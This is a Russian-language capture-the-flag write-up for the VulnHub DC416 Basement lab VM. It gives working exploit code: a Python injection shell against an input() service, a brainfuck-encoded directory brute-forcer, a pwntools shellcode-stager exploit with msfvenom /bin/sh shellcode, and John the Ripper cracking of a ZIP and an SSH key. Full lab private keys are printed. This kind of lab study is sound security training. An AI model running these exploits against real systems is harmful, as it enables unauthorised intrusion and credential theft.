VulnHub: Слепая эксплуатация и Брайнфак в DC416 Basement
Продолжаем разбор CTF с конференции DefCon Toronto’s. Задания предоставлены командой VulnHub, за что им огромное спасибо. А мы рассмотрим DC416 Basement.
Ниже, вы можете ознакомиться с предыдущим райтапом:
- DC416 Dick Dastardly
Начнём
Запускаем виртуалку, и переходим к поиску открытых портов:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
Nmap scan report for 192.168.1.221
Host is up (0.00086s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
8080/tcp open http-proxy ------[-->+++<]>.[→+++<]>.---.++++.
8090/tcp open unknown
10000/tcp open snet-sensor-mgmt
10001/tcp open tcpwrapped
MAC Address: 08:00:27: DF: F5:5E (Oracle VirtualBox virtual NIC)
Сканирование директорий результата не принесло:
$ sudo dirsearch -u http://192.168.1.221 -w /usr/share/dirb/wordlists/big.txt -e php,txt,bak,jpg,json,html -r -f
Flag 1
$ nc 192.168.1.221 10000
Отлично, судя по всему это Python2, с его замечательной функцией input. Попробуем выполнить свой код и посмотреть содержимое текущей директории:
$ nc 192.168.1.221 10000
Please enther number of packets: __import__('os').system('ls')
flag.txt ping.py run_ping.sh
PING localhost (127.0.0.1) 56(84) bytes of data
Для дальнейшего удобства, организуем себе небольшой шелл на Python:
#!/usr/bin/python3
import socket
from time import sleep
host = '192.168.1.221'
port = 10000
def connect(data):
s = socket.socket()
s.connect((host, port))
s.recv(1024)
s.send(('%s\n' % data).encode())
sleep(0.5)
req = s.recv(4096)
print(req.decode())
cmd = ''
while cmd != '\q':
cmd = input('> ')
connect("__import__('os').system('%s')" % cmd)
Осмотревшись в системе берём первый флаг из домашней директории пользователя:
> cat ./flag.txt
flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}
Плюс находим странный файл, в директории .secret:
> ls -ahl
.....
drwx------ 2 jack jack 4.0K Nov 21 16:53 .secret
> ls -ahl .secret
-rw------- 1 jack jack 2.0K Nov 21 16:53 marla.xip
Файл по видимому для Mac OS, поэтому оставим его пока.
Flag2
При сканировании 8090 порта nmap определил там неизвестный веб сервис, посмотрим что там:
$ curl http://192.168.1.221:8090
Moved
You should be redirected.
После запуска wget началась бесконечная загрузка, вероятно видео отправляется зацикленным потоком. Прервав загрузку и запустив его слышим роботизированный женский голос, который надиктовывает нам следующую последовательность:
102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125
Затем сообщает что это флаг и начинает сначала. Воспользовавшись сайтом, конвертируем это в текст и получаем очередной флаг:
flag{bR4in_paRas1te$}
Flag3
Порт 8080. Вероятно это тоже веб сервис, просмотрев лог команды ps:
tyler 1319 0.0 0.1 4080 636? S 11:49 0:00 /home/tyler/tiny 8080
Узнаём пользователя, которому он принадлежит, а так же то, что вероятно корневой директорией является директория пользователя. Открыв его в curl, получаем ASCII изображение и довольно странный заголовок сервера:
$ curl http://192.168.1.221:8080/ -vv
* Hostname was NOT found in DNS cache * Trying 192.168.1.221... * Connected to 192.168.1.221 (192.168.1.221) port 8080 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.1.221:8080 > Accept: */* > < HTTP/1.1 200 OK * Server ------[-->+++<]>.[->+++<]>.---.++++. is not blacklisted < Server: ------[-->+++<]>.[->+++<]>.---.++++. < Content-length: 36246 < Content-type: text/html
Очень похоже на brainfuck. После декодирования например тут получаем строку: webf
Сканирование директорий результата снова не принесло, после долгих попыток, выполнив подключение к этому порту через netcat, кое-что стало проясняться:
$ nc 192.168.1.221 8080
123 HTTP/1.1 501 Not Implemented Content-type: text/html
Error 501: Not Implemented+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: 123
------[-->+++<]>.[->+++<]>.---.++++.
В ответ мы снова получили ответ на brainfuck, видимо этот сервер только на нём и работает. Ситуация ещё осложнена тем, что после каждого неудачного запроса, сервер крашится. Ниже представлена попытка реализовать брут директорий:
#!/usr/bin/python3
import socket
import sys
import re
from time import sleep
def char2bf(char):
result_code = ""
ascii_value = ord(char)
factor = ascii_value / 10
remaining = ascii_value % 10
result_code += "{}".format("+" * 10)
result_code += "["
result_code += ">"
result_code += "{}".format("+" * int(factor))
result_code += "<"
result_code += "-"
result_code += "]"
result_code += ">"
result_code += "{}".format("+" * remaining)
result_code += "."
result_code += "[-]"
return result_code
def str2bf(string):
result = ""
for char in string:
result += char2bf(char)
return result
def connect(file):
host = '192.168.1.221'
port = 8080
req = 'GET %s HTTP/1.0\n\n' % (str2bf(file))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(req.encode())
sleep(1)
data = s.recv(90480)
s.close()
except:
s.close()
return 500
data = data.decode()
if 'HTTP/1.1 404 Not Found' in data: pass
elif 'HTTP/1.1 200 OK' in data:
print('File %s found' % file)
print(data)
wlist = open(sys.argv[1]).read().splitlines()
for item in wlist:
if connect(item.strip()) == 500:
print('Item %s not found' % item)
sleep(500)
Накидав небольшой словарь, с возможным содержимым пользовательской директории, можно запускать и идти пить чай:
$ ./brainfuck.py test
Однако спустя некоторое время, в логе, замечаем ssh ключ пользователя tyler
HTTP/1.1 200 OK
Server: ------[-->+++<]>.[→+++<]>.---.++++.
Content-length: 1675
Content-type: text/plain
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEApTSRfQBEqWjDTZZp0YHpOzDQ8zmo2NvTguHworeU9Yk26Zez
R3HtoKL99hRwJrqsRzeDb2OaZcnFgHAK95zEibHRJzXbWTJ8hq+lLri8gNM62WVf
mMe5Jd5QWkrmskUxSX0mlj3faJwtDphYmWUUbn3CN1eDI7ePqoAcWpMFeqQYXe/5
HaPrKZxe6WCQsgFcj3zIz+U9Qidz8x/ZKYDCFJ+aLuoo3HUB+EHT9abirjLKbHvM
BcstMNt23GD3KF549M2d5i5YC7o6LD8yBwifIIS2g3wNRfOsplrY/DEacILqaI7p
xM3EpIahPt/Vn3/DylVNyHoXP/hbXLtgoZwYAwIDAQABAoIBAAedhbtaYM/iWWZh
MZ2LvIGS/X7IwKTGdViKK7qEdeRfn91itcvsT4ThHo3SYV0Xq8tYnsFquPpKM8V4
5LiHTHQAc2C4VdUlw6G9xQKDV4Ukt4i/6Ik1Y66AMfoHi9zZ3azCjR3N2leLI3SR
xzvC8g8p0uMUMKJb2s6EO0pdjpoZlV/6JbcckushCQIJieHr00pq/w1fcY438DoR
OnPfGeJgkQQgfJ8W77CDNRtECpP8WBsr4hDJZXq3ink2BDZRYwO8o/nOuEGOKlAp
34j7ks5M/LOcKVskdIzz2vCc0OvtyNQ0Fk/e1INbkbwvhKUgF9t4dCBC9wF4YKx7
lBK4eAECgYEA1ntOisRF9D3+7EBN3pCQ2SssXFpmdnYjdzX2aETfcnSzU52ODRGw
p5BFkZBhnPz/as7BrvufRGSM76eBHzUaRA4mNEe2EX49PsGtr+ONo2jIU6Ee19WP
0sn+iINdw9JOK9Rma7WlYdaJuEs4DRzO3LX9cn5P4IUgBUaUOv3RFAMCgYEAxS9c
ZNYUfgV29tlUHzyqdSKIDt/jB7yNDyCGBJYy1KBO9vAkM44haqNln6eGXaveXxBh
n+gRG+MD8NBUv8VfCoU7ZKqHWpzgDfJOa3DBFM+8IcDRj1KT1weg4NRdlsmz4A1X
/Os3RIlXZ5MHuTPnpXFcjS70oqbmDU571w9zrAECgYAQLHA5yp8z0dD9Y8P7eo9R
sQ3BURfU6we1n54bMsZezSoQrhreJW1a1WhJl8eknPdtyHWWimbyM1rlX44/GjQG
2cJLwvSZ0RkxOE2uq8wsfGRO2iGHSRV1YcIN7UoO0DcQ2w12JdZ40ELGYPWzF28J
+bdJAPlpBuDpRO88m5M+nQKBgGoXglGqsVngnNJRuiYYYOonCyddpGwcMZUK/bBo
E689FV9dc0zd0vLqORo+a1foyftB+BSuKs5jRVKC9KY9jlY9uuf9rFe/gfle/nxm
LSyCXImYkefYGT0fmJp/CF/B5GrPIyEseQ8CCinq/MPTvnXQWWiI9AyzWaGdMZpT
cPwBAoGBAIAULQyYmeipsRQvKUMCjVFPIpv2IXxnFTnaiJ1kbPOuN7MuagRD1ZDf
FmPq8mIDg2oCKIq0/iOsmGmLaPXJADXAOXFWjDmWTHt7RKBvxOT6fNfCqEW29wkG
6XOdjh0Q6lKwxyOuFamIaEmCgoq7Ez7aRwgzf5KzIrw/vV3reIzI
-----END RSA PRIVATE KEY-----
Пробуем авторизоваться, и находим следующий флаг:
$ ssh -i /tmp/id_rsa tyler@192.168.1.221
Flag 4
У нас остался порт 10001. Из лога ps видно, что на этом порту висит сервис »10 байтов»
robert 1331 0.0 0.5 19644 2748? S 11:50 0:00 socat TCP-LISTEN:10001, reuseaddr, fork, range=127.0.0.1/32 EXEC:./tenbytes, pty, stderr, echo=0
Но при подключении из вне, ничего не происходит. Прокинем себе ssh-туннель на атакуемый хост:
$ ssh -i /tmp/id_rsa -L 10001:127.0.0.1:10001 -N tyler@192.168.1.221
И так, при подключении, нас просят ввести 10 байт для запуска:
$ nc 127.0.0.1 10001
Tee hee! Gimme ten bytes to run!
Если предположить, что скорее всего чтение происходит функцией read, в некий буфер, который затем исполняется через call. То всё более менее понятно. Нужно отправить некий код размером 10 байт. Который потом как-то запустит шелл. Посмотрев как выглядит вызов функции read, например на этом сайте. Можно заметить, что размер буфера для чтения, передаётся через регистр EDX. Мы можем попытаться увеличить значение EDX, тем самым увеличив буфер для чтения, затем снова вызвать функцию read, с новым буфером, и уже туда передать наш шелл код. Для написания эксплоита воспользуемся фреймворком pwntools.
Подготовим шелл:
$ sudo msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell
shell = ""
shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
Теперь непосредственно код, который мы будем отсылать для изменения EDX:
def gen_payload(offset):
payload = ""
payload += "\x01\xd2" # add edx, edx
payload += "\x5f" # pop rdi
payload += "\x48\x83\xef" + chr(offset) # sub rdi, offset
payload += "\xff\xe7" # jmp rdi
payload = payload.ljust(10, "\x90")
return payload
Немного поясню что здесь происходит:
- Удваиваем EDX
- Если наше предположение верно, и вызов осуществляется через CALL, то извлекаем адрес возврата, в неиспользуемый регистр
- Через последовательное увеичение значения offset, находим call read
- Переходим на read, а остальное заполняем NOP'ами
Изначально я пробовал в EDX поместить любое значение больше отсылаемого шелла, но это не сработало, поэтому я попробовал ещё подобрать и EDX. Окончательный вариант скрипта представлен ниже:
#!/usr/bin/env python2
from pwn import *
context(bits = 64,
os = 'linux',
aslr = True,
)
port = 10001
host = '127.0.0.1'
def encode_payload(p):
return ''.join(['\\x%0.2x' % c for c in bytearray(p)])
def gen_payload(offset):
payload = ""
payload += "\x01\xd2" # add edx, edx
payload += "\x5f" # pop rdi
payload += "\x48\x83\xef" + chr(offset) # sub rdi, offset
payload += "\xff\xe7" # jmp rdi
payload = payload.ljust(10, "\x90")
return payload
isEdxValid = False
validEdx = 80 # len(shell)==48
while isEdxValid == False:
offset = 0
while offset <= 255:
try:
log.info('Current offset is %d' % offset)
p = remote(host, port)
payload = gen_payload(offset)
log.info( 'Payload: %s' % (encode_payload(payload)) )
p.recvline()
EDX = 0x0a
while EDX < validEdx:
p.send(payload)
EDX += EDX
log.info('EDX now is %d' % EDX)
shell = ""
shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
log.info('Sending shellcode')
p.send(shell)
# check for no tty message
p.sendline()
output = p.recvline(timeout=0.5)
if output and 'tty' in output:
log.success('Found offset!!! %d' % offset)
isEdxValid = True
break
if offset == 255:
log.error('No valid offset found!')
isEdxValid = False
count += 1
p.close()
except EOFError:
log.warning('Error on offset %d' % offset)
p.close()
finally:
offset += 1
validEdx += validEdx
p.interactive()
После запуска, начинается перебор смещений, и увеличение количества считываемых функцией read байт. Спустя некоторое время нужные параметры найдены, и мы получаем доступ к оболочке, от пользователя robert, а вместе с ним и его флаг:
Ниже представлен дизассемблированный листинг функции main из приложения tenbytes:
.text:0000000000400626 main proc near ; DATA XREF: start
.text:0000000000400626
.text:0000000000400626 var_30 = qword ptr -30h
.text:0000000000400626 var_24 = dword ptr -24h
.text:0000000000400626 var_18 = qword ptr -18h
.text:0000000000400626 var_10 = qword ptr -10h
.text:0000000000400626 buf = qword ptr -8
.text:0000000000400626
.text:0000000000400626 push rbp
.text:0000000000400627 mov rbp, rsp
.text:000000000040062A sub rsp, 30h
.text:000000000040062E mov [rbp+var_24], edi
.text:0000000000400631 mov [rbp-48], rsi
.text:0000000000400635 mov edi, offset s ; "Tee hee! Gimme ten bytes to run!"
.text:000000000040063A call _puts
.text:000000000040063F mov r9d, 0 ; offset
.text:0000000000400645 mov r8d, 0FFFFFFFFh ; fd
.text:000000000040064B mov ecx, 98 ; flags
.text:0000000000400650 mov edx, 7 ; prot
.text:0000000000400655 mov esi, 4096 ; len
.text:000000000040065A mov edi, 0 ; addr
.text:000000000040065F call _mmap
.text:0000000000400664 mov [rbp+buf], rax
.text:0000000000400668 mov rax, [rbp+buf]
.text:000000000040066C mov edx, 0Ah ; nbytes
.text:0000000000400671 mov rsi, rax ; buf
.text:0000000000400674 mov edi, 0 ; fd
.text:0000000000400679 mov eax, 0
.text:000000000040067E call _read
.text:0000000000400683 mov rax, [rbp+buf]
.text:0000000000400687 mov [rbp+var_10], rax
.text:000000000040068B mov rax, [rbp+var_10]
.text:000000000040068F mov [rbp+var_18], rax
.text:0000000000400693 mov rax, [rbp+var_18]
.text:0000000000400697 call rax
.text:0000000000400699 mov rax, [rbp+buf]
.text:000000000040069D mov esi, 4096 ; len
.text:00000000004006A2 mov rdi, rax ; addr
.text:00000000004006A5 call _munmap
.text:00000000004006AA mov edi, 0 ; status
.text:00000000004006AF call _exit
.text:00000000004006AF main endp
Flag 5
У нас остался файл marla.xip. Расширение файла очень похоже на zip, но стандартными способами открыть его невозможно. Попробуем его поксорить и посмотрим что из этого выйдет, используя xortool:
$ xortool marla.xip -b
Что-то нашлось, теперь отфильтруем результат:
$ file xortool_out/* | grep Zip
xortool_out/000.out: Zip archive data
Архив найден, посмотрим что в нём:
$ 7z l xortool_out/000.out
Судя по всему это приватный ssh ключ пользователя marla. Однако просто так его достать не получится, архив ещё и запаролен. Компилируем John The Ripper, как это описано тут. Извлекаем хеш:
$ ./zip2john /tmp/marla.zip > /tmp/marla.zip.john
И после запуска получаем искомый пароль:
$ ./john /tmp/marla.zip.john
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 8x SSE2])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4rl4 (marla.zip)
1g 0:00:00:00 DONE ⅓ (2017–01–08 23:56) 1.219g/s 3219p/s 3219c/s 3219C/s m4rl4.zip…mar1a.zipzip
Use the »--show» option to display all of the cracked passwords reliably
Session completed
Отлично, пароль от архива есть. Но и это не всё, если взглянуть на файл, в котором расположен приватный ключ:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC,4A3641AA61921099DAB3E32222AE8221k8zDFT8UXhpb7Dn+KzYv6mYuAI0vF25s/zFpuvtm31FtTwOAzqz+ukei2DR+r4Zb
QKGV5EPf0ymcx6Nh4×700eRa555hFDrWMRwLAy7bTkYK5MbLY3On7BqBnmpbs/bd
Pd/VpmvMtUnl8YcMF756NLt0sgqwWbf8DGFUcJZTGEsZhwTL86cCYyFbbdOHijzY
Wi+OjgVBxw62VrdEn8HHA0Hks72LRGAsXLJ4ReT6nm/6H88idKHtnc1CXGzUtEwR
E7/Bzzqn/P1rTrnPp/adV4oAC+Q86Sdy5RHuH35KC6c6WgpFRprqeWeLdf6aBBF0
yadmGUu4PrWP7iYd7Bc4k2Czlr0pk1×0GjqedjFYmPWypllfZvMriQa6QhYkKlGl
ecEm8Usrok54u8jX1VZtdRu1+6gNPZcw8FOK1GTks2L9ywvWoSNOGr5LFBDBYufq
SNNUQq0cEyAl3KaPT5vPyEcrqAa7NKmIl5uImECPG93iIsfOt3P4ujVwWuT3p100
KHnHEybuZXTBRUPmHoE+wXvFyLAWzHG8d6cy18FzGEyogUbs+d5GmdFjsyaaLeES
8AtkGrWrUAgo/NDpbVdHoLmwjzvxlDkk+Uk3/KN5qjFKajbav9EoMJNeCac1Ax0i
KHiSvyPtifWu9Mj8IYq6zIVVFoVPc4swDrqxsNkwA8uAXLCIBk/lHOBryIPVmsOd
4gWhae23ul+HC5gHwlXUfq5Zrljhqpw9D50veSizqdtwmWgvs1crkddXbTwUSvrb
kZHQoY2PqfJPmF3TNt5RQvwNIaOMospy29niKk/qICaZ1t9KUyMdfNmyVzHGnJPz
Ae6pdfCsgoymkO1zd4TVaGTRH2tt0ZRXECHPTG/5i8IRJGB4hlTJ4z0QNcVPQGdF
sI9GuUuRzaIpVbbxf50OG5qWfVRJR2lWwfvIEgmfvKQs9qJBq4×05NeagWoDKhrH
/90k1S3GI5rw9RyjzD1I4k1li+PjyWs+wZAEn39Hqlxuk+gMWuKCr6Wel/dV3exU
XlkGJLJo1SUK1Uh2Z6CeSwdSVMf2j21pMbeaw8U9RQund9EOwln8JDKtdQXYW9ba
SE/hUpvlNHPG/90Tp2JQCkk/MinwV4IGev7mn9piltL8Q7qcU1o9TpAxtdonyaYI
UYnzpv+g/0fhKnycwRttVukt7Mtgvr0SMCXcImMjdnDpVxbrbEWtLgFsZayg+SzQ
/03KMOA9AVoo48ZlLa+oERqeedXDBqmKkNJwIsBcYEywHl6NlEHCZk2S/lcr+ra9
im+l2nua3IvYYIRnWHWoLs0D+Hi/PvQHmj3e2YBeIZMYGPHk8XQ17cofwqU7VDr7
x6nP22au0LGKTj4+E46r1hEWs9C0×8AMJjfShb+CyN/imo/3a3bJiazE1F5IpKlY
5UejDh7GCcxnvmjXlY4q+7DeJlz5VSjKjfR5V0b5mkcLEI18c2sBkTVdMVzzBGQO
kTNSGJSOrF5el9+wlpLY4E8loocJpzH3P3uu+fOwHtNiul5RAlotfJnJd9lYea5k
W581cgXIWgN6actoiIGZXlHKB5Zsdb3GdmmG0Lb50lsL4GH8MIKDKdumUKSwrT20
-----END RSA PRIVATE KEY-----
То видно, что на нём установлена парольная фраза. Но и это не проблема, извлекаем её, и отправляем John'у:
$ ./john-1.8.0-jumbo-1/run/ssh2john marla > marla.ssh
$ sudo ./john-1.8.0-jumbo-1/run/john marla.ssh
Loaded 1 password hash (SSH [RSA/DSA 32/32])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
singer (marla)
1g 0:00:00:00 DONE 2/3 (2017–01–09 01:11) 1.086g/s 2165p/s 2165c/s 2165C/s rangers…88888888
Use the »--show» option to display all of the cracked passwords reliably
Session completed
Имея всё необходимое, авторизуемся по ssh и забираем последний ключ:
$ ssh -i marla marla@192.168.1.221
Enter passphrase for key 'marla':
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
well done! your flag is flag{l4y3rs_up0n_l4y3rs}
Connection to 192.168.1.221 closed.
Все ключи собраны. Вызов завершён! Можно переходить к следующим образам виртуальных машин из серии DC416.